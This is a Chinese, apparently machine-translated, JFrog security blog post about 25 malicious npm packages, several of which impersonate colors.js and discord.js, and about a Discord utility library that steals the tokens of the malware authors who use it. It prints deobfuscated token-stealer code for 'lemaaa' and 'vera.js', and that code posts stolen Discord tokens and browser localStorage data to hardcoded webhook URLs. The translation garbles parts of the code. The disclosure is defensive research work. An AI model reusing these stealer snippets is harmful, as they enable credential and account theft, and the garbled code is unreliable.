恶意软件内战——针对恶意软件作者的恶意npm包

JFrog在npm注册表中发现了25个恶意包

针对恶意软件作者的恶意npm包

JFrog Security研究团队使用我们的自动化工具持续监控流行的开源软件(OSS)存储库,以避免潜在的风险软件供应链安全威胁,并报告任何安全漏洞或者被存储库维护者和更广泛的社区发现的恶意包。最近我们在NPM存储库中披露了25个恶意包都是由我们的自动扫描工具发现的。npm维护者很快就删除了所有报告的恶意包。

有趣的是,似乎许多npm恶意包仍然伪装成臭名昭著的colors.jsNPM包,几周前很容易受到严重的拒绝服务攻击。这种伪装可能是因为colors.js仍然是npm中安装最多的包之一。

除此之外,我们还惊讶地发现了一个有趣的案例恶意软件作者以其他恶意软件作者为目标。我们的扫描器捕获的一个恶意软件包“lemaaa”本身就是一个库,恶意威胁行为者可以使用它来操纵不和账号。当以某种方式使用时,除了执行请求的实用程序功能外,该库还将劫持给予它的秘密Discord令牌。

恶意包汇总

有效载荷 感染的方法
node-colors-sync 不和谐令牌窃取者 伪装(颜色
color-self 不和谐令牌窃取者 伪装(颜色
color-self-2 不和谐令牌窃取者 伪装(颜色
wafer-text 环境变量窃取器 受害情况(晶片- *)
wafer-countdown 环境变量窃取器 受害情况(晶片- *)
wafer-template 环境变量窃取器 受害情况(晶片- *)
wafer-darla 环境变量窃取器 受害情况(晶片- *)
lemaaa 不和谐令牌窃取者 隐藏功能
adv-discord-utility 不和谐令牌窃取者 未知的
tools-for-discord 不和谐令牌窃取者 未知的
mynewpkg 环境变量窃取器 未知的
purple-bitch 不和谐令牌窃取者 未知的
purple-bitchs 不和谐令牌窃取者 未知的
noblox.js-addons 不和谐令牌窃取者 伪装(noblox.js
kakakaakaaa11aa Connectback壳 未知的
markedjs Python远程代码注入器 伪装(标志着
crypto-standarts Python远程代码注入器 伪装(crypto-js
discord-selfbot-tools 不和谐令牌窃取者 伪装(discord.js
discord.js-aployscript-v11 不和谐令牌窃取者 伪装(discord.js
discord.js-selfbot-aployscript 不和谐令牌窃取者 伪装(discord.js
discord.js-selfbot-aployed 不和谐令牌窃取者 伪装(discord.js
discord.js-discord-selfbot-v4 不和谐令牌窃取者 伪装(discord.js
colors-beta 不和谐令牌窃取者 伪装(颜色
vera.js 不和谐令牌窃取者 未知的
discord-protection 不和谐令牌窃取者 未知的

选择恶意软件包的技术分析

由于我们已经广泛地涵盖了Discord令牌窃取恶意软件的技术方面以前的博客文章在这里,我们不再重复这个信息。然而,我们想把重点放在几个包中的一些有趣的片段上。

Lemaa包-针对恶意软件作者

这个包很有趣,因为它实际上实现了README中的承诺。md -

一个由Lemmaaa制造的强大的不和谐模块

该包是一个帮助模块,为新手提供了一个常见的功能,他们可以重用的Discord恶意软件作者当提供了受害者的不和令牌例如获取受害者的信用卡信息,窃取受害者的账户(更改账户密码和邮箱)等。

然而,其中一个函数——“removeAllFriends”会将提供的Discord令牌劫持到一个硬编码的webhook地址https://canary.discord.com/api/webhooks/884196214302703676/PHJ1-GGrEOV7Zwz2RodFDpazJXmH6OnM60TNEX4RZ-VT-qW5sUUu-dZHCb3s5vApWHHz

该模块的代码被混淆,使得这个恶意活动被隐藏:

function _0xf28e(){const _0x159601=['DELETE','https://discord.com/api/v8/users/@me ','11317570ajQRNl','application/json','token','random',' ',' 'false', 'https://discord.com/api/v9/users/@me/mfa/totp/disable','https://discord.com/api/v8/guilds/ ','last_4','@gmail.com','true','1315DTGoNg',', '\ x20\x22early_verified_bot_developer\ x22:\x20',' \x22,\x20\x22new_password\x22:\x20\x22','map','14370OOLNxq','There\x20is\x20no\x20bots',…

在这种情况下,由于模块本身就是一个恶意软件实用程序(库),因此实际上并不过分怀疑模块是混淆的,因此新手恶意软件作者可能会信任该模块,即使它是混淆的。

在对模块代码进行解混淆和美化后,我们可以在函数“removeAllUsers”中看到恶意代码:

异步函数removeAllFriends(token){…var _0x3d283a = await _0x1aa523['json'](), malicious_webhook = 'https://canary.discord.com/api/webhooks/884196214302703676/PHJ1-GGrEOV7Zwz2RodFDpazJXmH6OnM60TNEX4RZ-VT-qW5sUUu-dZHCb3s5vApWHHz';等待fetch(malicious_webhook, {'method': 'POST', 'headers': {'content - type ': 'application/json'}, 'body': json ['stringify']({'content': " + token})});…

markdjs & cryptostandarts包-复制木马包

这些包很有趣,因为它们显示出一种趋势,npm恶意软件作者完全复制一个众所周知的包(代码和元数据都是复制的),然后在这个副本中添加一小段恶意代码,本质上是构建“特洛伊”包。

对于初学者来说,大多数包元数据(README。md, Github引用等)被一对一复制:

markedjs

当将恶意包(markdjs)代码与原始包(标记)代码进行比较时,我们可以看到与原始包的唯一区别是“/lib/mark .js”中的一行,其中包含混淆的恶意代码:

混淆恶意代码

由于这行代码“隐藏”在包含大量合法代码的包的其余部分中,因此如果没有自动扫描或区分工具,很难找到这行代码。

Vera.js包

这个包非常小,恶意代码可以很容易地看到(因为它没有混淆),但有趣的是,这个恶意包的作者决定从本地磁盘存储中窃取Discord令牌(正如大多数Discord令牌窃取者所做的那样),而是从浏览器的本地存储中窃取:

函数刷新(){window.location.reload();var discordWebhook = "https://discord.com/api/webhooks/911967515024977991/MBGxIxbpqr8P00H29iuuxc7q_bkafDFpRri5j-hefGjaOCrkOcIvy4zjqa-qHrM1BEgU";var i = document.createElement('iframe');document.body.appendChild(我);var request = new XMLHttpRequest();请求。打开(“文章”,discordWebhook);请求。setRequestHeader(“内容类型”、“application / json”);var params ={用户名:“令牌掠夺者”,avatar_url:“https://malwarefox.com/wp content/uploads/2017/11/hacker - 1. png”,内容:“* *牌* * \ n ------------------\ nToken: \ n + i.contentWindow.localStorage.token + ------------------\ nEmail: ' + i.contentWindow.localStorage。email_cache + ' \ n ------------------\ 新加坡国立大学ID: ' + i.contentWindow.localStorage。user_id_cache + '\n------------------\nFingerprint : ' + i.contentWindow.localStorage.fingerprint + '\n------------------\nPropriétés : \`\`\`json\n' + i.contentWindow.localStorage.deviceProperties + '\`\`\`------------------\nScript de login : \n\`\`\`js\nlocation.reload();var i = document.createElement(\'iframe\');document.body.appendChild(i);i.contentWindow.localStorage.token = "\\"' + i.contentWindow.localStorage.token.replace(/^"(.*)"$/, '$1') + '\\""\`\`\`' }; request.send(JSON.stringify(params)); } module.exports = {refresh};

窃取令牌的代码可以用以下方式总结:

location.reload ();var i = document.createElement('iframe');document.body.appendChild(我);var token = i.t encontentwindow . localstorage .token;

这种技术有助于窃取日志记录时生成的令牌使用web浏览器到Discord网站,而不是使用Discord应用程序(它将令牌保存到本地磁盘存储)。

结论

总而言之,看起来新手黑客仍在继续滥用npm,以实现高ROI攻击的目标,因为开发和发布恶意包的努力是如此之低。我们估计这种趋势只会继续增加,因为我们每天仍然会看到我们的npm扫描仪标记出数十个新的恶意包。

与JFrog安全研究保持同步

关注JFrog安全研究团队的最新发现和技术更新安全研究网站并在推特上@JFrogSecurity